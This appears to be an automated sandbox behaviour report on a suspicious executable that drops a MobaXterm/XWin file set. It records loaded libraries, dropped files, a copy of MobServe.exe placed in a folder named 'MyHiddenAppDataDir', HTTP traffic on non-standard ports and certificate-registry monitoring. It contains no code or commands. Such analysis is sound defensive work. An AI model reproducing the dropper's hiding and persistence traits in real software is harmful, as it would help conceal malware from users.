Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: ddraw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: libglapi-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: icm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libx11-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libdl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxau-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxdmcp-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libx11-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libgcc_s_dw2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libdl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxcb-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxau-6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Section loaded: libxdmcp-6.dll	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Window found: window name: msctls_updown32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: T2dvU8f2xg.exe

Static file information: File size 20954448 > 1048576

Source:	Binary string: solve.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1368088807.000000000A4B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: corMatrix$corMatrix.compSymm corMatrix.corAR1"corMatrix.corARMA"corMatrix.corCAR1*corMatrix.corCompSymm$corMatrix.corIdent(corMatrix.corNatural(corMatrix.corSpatial&corMatrix.corStruct"corMatrix.corSymm&corMatrix.pdBlocked(corMatrix.pdCompSymm corMatrix.pdDiag"corMatrix.pdIdent source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: coef.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: summary.pam"summary.pdBlocked$summary.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.1368088807.000000000A4B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdConstructpdConstruct.pdBlocked,pdConstruct.pdCompSymm$pdConstruct.pdDiag&pdConstruct.pdIdentpdConstruct.pdLogChol"pdConstruct.pdMat*pdConstruct.pdNatural$pdConstruct.pdSymm source: T2dvU8f2xg.exe, 00000000.00000003.1368088807.000000000A4B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: logDet.corIdent logDet.corStruct logDet.pdBlocked"logDet.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Names.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: formula.nlsList"formula.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp

Source: XWin_MobaX.exe.0.dr

Static PE information: 0x6D455C29 [Fri Feb 4 07:28:41 2028 UTC]

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_10262960 GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,GetSystemDirectoryW,GetSystemDirectoryW,LoadLibraryW,

0_2_10262960

Source: libxcb-1.dll.0.dr	Static PE information: real checksum: 0x2dbbb should be: 0x2cb5d
Source: libxcb-glx-0.dll.0.dr	Static PE information: real checksum: 0x1bea3 should be: 0x1dc3e
Source: zlib1.dll.0.dr	Static PE information: real checksum: 0x24917 should be: 0x25861
Source: libX11-6.dll.0.dr	Static PE information: real checksum: 0x141bab should be: 0x13f27c
Source: swrast_dri.so.0.dr	Static PE information: real checksum: 0x5838ed should be: 0x58aa8a
Source: libfontenc-1.dll.0.dr	Static PE information: real checksum: 0x16c2d should be: 0xcb7c
Source: libXt-6.dll.0.dr	Static PE information: real checksum: 0x58873 should be: 0x6154e
Source: libgcc_s_dw2-1.dll.0.dr	Static PE information: real checksum: 0x1d3cb should be: 0x237ce
Source: libXfont-1.dll.0.dr	Static PE information: real checksum: 0x30677 should be: 0x2ba50
Source: libXext-6.dll.0.dr	Static PE information: real checksum: 0x163ba should be: 0x1671b
Source: libICE-6.dll.0.dr	Static PE information: real checksum: 0x23ed6 should be: 0x20d3c
Source: libxcb-util-1.dll.0.dr	Static PE information: real checksum: 0x12f7a should be: 0xcabe
Source: libXdmcp-6.dll.0.dr	Static PE information: real checksum: 0x7de9 should be: 0xf914
Source: libwinpthread-1.dll.0.dr	Static PE information: real checksum: 0x275e7 should be: 0x1d281
Source: libxcb-image-0.dll.0.dr	Static PE information: real checksum: 0x13b24 should be: 0x76ed
Source: libxcb-shm-0.dll.0.dr	Static PE information: real checksum: 0xe0f5 should be: 0xcc9c
Source: libGL-1.dll.0.dr	Static PE information: real checksum: 0xddd75 should be: 0xdd704
Source: libnativeGLthunk.dll.0.dr	Static PE information: real checksum: 0x6f999 should be: 0x72a26
Source: libSM-6.dll.0.dr	Static PE information: real checksum: 0x1306f should be: 0x1703f
Source: libglapi-0.dll.0.dr	Static PE information: real checksum: 0x34f5a should be: 0x37293
Source: libXmu-6.dll.0.dr	Static PE information: real checksum: 0x1c4a3 should be: 0x25f2f
Source: evb52F2.tmp.0.dr	Static PE information: real checksum: 0x0 should be: 0x4050
Source: libdl.dll.0.dr	Static PE information: real checksum: 0x6ad7 should be: 0x12855
Source: libXau-6.dll.0.dr	Static PE information: real checksum: 0x7f0c should be: 0x7226

Source: XWin_MobaX_21.1.3.exe.0.dr	Static PE information: section name: /4
Source: XWin_MobaX.exe.0.dr	Static PE information: section name: /4
Source: MobServe[1].exe.0.dr	Static PE information: section name: /4
Source: MobServe[1].exe.0.dr	Static PE information: section name: .xdata
Source: MobServe[1].exe.0.dr	Static PE information: section name: /14
Source: MobServe[1].exe.0.dr	Static PE information: section name: /29
Source: MobServe[1].exe.0.dr	Static PE information: section name: /41
Source: MobServe[1].exe.0.dr	Static PE information: section name: /55
Source: MobServe[1].exe.0.dr	Static PE information: section name: /67
Source: MobServe[1].exe.0.dr	Static PE information: section name: /80
Source: MobServe[1].exe.0.dr	Static PE information: section name: /91
Source: MobServe[1].exe.0.dr	Static PE information: section name: /102
Source: MobServe[1].exe.0.dr	Static PE information: section name: /116
Source: MobServe[1].exe.0.dr	Static PE information: section name: /135
Source: MobServe[1].exe.0.dr	Static PE information: section name: /151
Source: MobServe[1].exe.0.dr	Static PE information: section name: /167
Source: libXmuu-1.dll.0.dr	Static PE information: section name: /4
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /4
Source: temp_MobServe.exe.0.dr	Static PE information: section name: .xdata
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /14
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /29
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /41
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /55
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /67
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /80
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /91
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /102
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /116
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /135
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /151
Source: temp_MobServe.exe.0.dr	Static PE information: section name: /167
Source: dwm_w32.exe.0.dr	Static PE information: section name: .eh_fram
Source: jwm.exe.0.dr	Static PE information: section name: /4
Source: libdl.dll.0.dr	Static PE information: section name: /4
Source: libfontenc-1.dll.0.dr	Static PE information: section name: /4
Source: libgcc_s_dw2-1.dll.0.dr	Static PE information: section name: /4
Source: libGL-1.dll.0.dr	Static PE information: section name: /4
Source: libglapi-0.dll.0.dr	Static PE information: section name: /4
Source: libICE-6.dll.0.dr	Static PE information: section name: /4
Source: libnativeGLthunk.dll.0.dr	Static PE information: section name: /4
Source: libSM-6.dll.0.dr	Static PE information: section name: /4
Source: libwinpthread-1.dll.0.dr	Static PE information: section name: /4
Source: libX11-6.dll.0.dr	Static PE information: section name: /4
Source: libX11-xcb-1.dll.0.dr	Static PE information: section name: /4
Source: libXau-6.dll.0.dr	Static PE information: section name: /4
Source: libxcb-1.dll.0.dr	Static PE information: section name: /4
Source: libxcb-glx-0.dll.0.dr	Static PE information: section name: /4
Source: libxcb-image-0.dll.0.dr	Static PE information: section name: /4
Source: libxcb-shm-0.dll.0.dr	Static PE information: section name: /4
Source: libxcb-util-1.dll.0.dr	Static PE information: section name: /4
Source: libXdmcp-6.dll.0.dr	Static PE information: section name: /4
Source: libXext-6.dll.0.dr	Static PE information: section name: /4
Source: libXfont-1.dll.0.dr	Static PE information: section name: /4
Source: libXmu-6.dll.0.dr	Static PE information: section name: /4
Source: libXt-6.dll.0.dr	Static PE information: section name: /4
Source: OpenX.exe.0.dr	Static PE information: section name: /4
Source: setxkbmap.exe.0.dr	Static PE information: section name: /4
Source: twm_w32.exe.0.dr	Static PE information: section name: /4
Source: xhost.exe.0.dr	Static PE information: section name: /4
Source: xkbcomp_w32.exe.0.dr	Static PE information: section name: /4
Source: xlsatoms.exe.0.dr	Static PE information: section name: /4
Source: xlsclients.exe.0.dr	Static PE information: section name: /4
Source: xlsfonts.exe.0.dr	Static PE information: section name: /4
Source: xmodmap.exe.0.dr	Static PE information: section name: /4
Source: xprop.exe.0.dr	Static PE information: section name: /4
Source: xrdb.exe.0.dr	Static PE information: section name: /4
Source: XWin_MobaX_21.1.8.exe.0.dr	Static PE information: section name: /4
Source: zlib1.dll.0.dr	Static PE information: section name: /4
Source: evb52F2.tmp.0.dr	Static PE information: section name:
Source: swrast_dri.so.0.dr	Static PE information: section name: /4

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\zlib1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-image-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-shm-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-util-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libgcc_s_dw2-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\MobServe[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXdmcp-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXau-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\evb52F2.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libwinpthread-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\temp_MobServe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libdl.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libglapi-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe	Jump to dropped file

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\swrast_dri.so

Jump to dropped file

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\README.txt

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8087
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49965

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_004215DF GetPropA,IsIconic,IsZoomed,IsWindowVisible,ErrorF,winSendMessageToWM,	7_2_004215DF
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_004216C8 winTopLevelWindowProc@16,SetPropA,winGetWindowID,SetPropA,GetPropA,GetPropA,winReorderWindowsMultiWindow,GetWindowRect,CreateRectRgnIndirect,SetWindowRgn,DeleteObject,SetWindowLongA,winSendMessageToWM,SetupSysMenu,HandleCustomWM_COMMAND,GetWindowPlacement,HandleCustomWM_INITMENU,BeginPaint,ValidateRect,EndPaint,ClientToScreen,GetSystemMetrics,GetSystemMetrics,miPointerGetScreen,miPointerSetScreen,memset,TrackMouseEvent,ErrorF,ShowCursor,KillTimer,winEnqueueMotion,ShowCursor,ShowCursor,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,IsIconic,ShowWindow,winRestoreModeKeyStates,winInstallKeyboardHookLL,winSendMessageToWM,winKeybdReleaseKeys,winRemoveKeyboardHookLL,winSendMessageToWM,GetKeyState,winWindowProc@16,winWindowProc@16,SendMessageA,SendMessageA,winSetAppUserModelID,DestroyWindow,winSendMessageToWM,GetWindow,ErrorF,winSendMessageToWM,RemovePropA,RemovePropA,RemovePropA,RemovePropA,winAdjustXWindow,GetCurrentProcessId,GetWindowThreadProcessId,GetPropA,IsWindowVisible,IsIconic,GetWindow,SetPropA,winUpdateWindowPosition,winMultiWindowGetWMHints,SetForegroundWindow,GetForegroundWindow,GetWindowLongA,GetWindowLongA,SetWindowPos,SetWindowPos,winSendMessageToWM,winAdjustXWindow,winAdjustXWindow,winReorderWindowsMultiWindow,GetWindowLongA,GetWindowLongA,winDebug,winDebug,GetWindowInfo,winDebug,AdjustWindowRectEx,winDebug,winDebug,BeginDeferWindowPos,DeferWindowPos,EndDeferWindowPos,winDebug,GetPropA,SetCursor,winDebug,winAdjustWindowsWindow,DefWindowProcA,winReorderWindowsMultiWindow,	7_2_004216C8
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_004216C8 winTopLevelWindowProc@16,SetPropA,winGetWindowID,SetPropA,GetPropA,GetPropA,winReorderWindowsMultiWindow,GetWindowRect,CreateRectRgnIndirect,SetWindowRgn,DeleteObject,SetWindowLongA,winSendMessageToWM,SetupSysMenu,HandleCustomWM_COMMAND,GetWindowPlacement,HandleCustomWM_INITMENU,BeginPaint,ValidateRect,EndPaint,ClientToScreen,GetSystemMetrics,GetSystemMetrics,miPointerGetScreen,miPointerSetScreen,memset,TrackMouseEvent,ErrorF,ShowCursor,KillTimer,winEnqueueMotion,ShowCursor,ShowCursor,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SetCapture,winMouseButtonsHandle,ReleaseCapture,winMouseButtonsHandle,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,IsIconic,ShowWindow,winRestoreModeKeyStates,winInstallKeyboardHookLL,winSendMessageToWM,winKeybdReleaseKeys,winRemoveKeyboardHookLL,winSendMessageToWM,GetKeyState,winWindowProc@16,winWindowProc@16,SendMessageA,SendMessageA,winSetAppUserModelID,DestroyWindow,winSendMessageToWM,GetWindow,ErrorF,winSendMessageToWM,RemovePropA,RemovePropA,RemovePropA,RemovePropA,winAdjustXWindow,GetCurrentProcessId,GetWindowThreadProcessId,GetPropA,IsWindowVisible,IsIconic,GetWindow,SetPropA,winUpdateWindowPosition,winMultiWindowGetWMHints,SetForegroundWindow,GetForegroundWindow,GetWindowLongA,GetWindowLongA,SetWindowPos,SetWindowPos,winSendMessageToWM,winAdjustXWindow,winAdjustXWindow,winReorderWindowsMultiWindow,GetWindowLongA,GetWindowLongA,winDebug,winDebug,GetWindowInfo,winDebug,AdjustWindowRectEx,winDebug,winDebug,BeginDeferWindowPos,DeferWindowPos,EndDeferWindowPos,winDebug,GetPropA,SetCursor,winDebug,winAdjustWindowsWindow,DefWindowProcA,winReorderWindowsMultiWindow,	7_2_004216C8
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_004066F0 GetParent,IsIconic,GetDesktopWindow,GetWindowLongA,SetWindowLongA,GetWindowLongA,SetWindowLongA,GetSystemMetrics,SetWindowPos,GetWindowRect,GetWindowRect,CopyRect,OffsetRect,OffsetRect,OffsetRect,SetWindowPos,LoadIconA,MonitorFromWindow,GetMonitorInfoA,EnumDisplaySettingsA,GetSystemMetrics,GetSystemMetrics,LoadImageA,PostMessageA,PostMessageA,	7_2_004066F0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_00415760 IsIconic,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,ScreenToClient,ScreenToClient,SetRect,GetClientRect,IntersectRect,InvalidateRect,UpdateWindow,	7_2_00415760
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0041C784 winReorderWindowsMultiWindow,GetCurrentProcessId,GetTopWindow,GetWindowThreadProcessId,GetPropA,IsIconic,GetPropA,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,winGetWindowID,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,GetWindow,	7_2_0041C784
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 7_2_0041CB1F winAdjustXWindow,ErrorF,IsIconic,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,GetSystemMetrics,GetSystemMetrics,SetRect,winDebug,GetWindowLongA,GetWindowLongA,winDebug,AdjustWindowRectEx,GetWindowRect,winDebug,winDebug,EqualRect,ResourceClientBits,ResourceClientBits,ResourceClientBits,ConfigureWindow,	7_2_0041CB1F

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
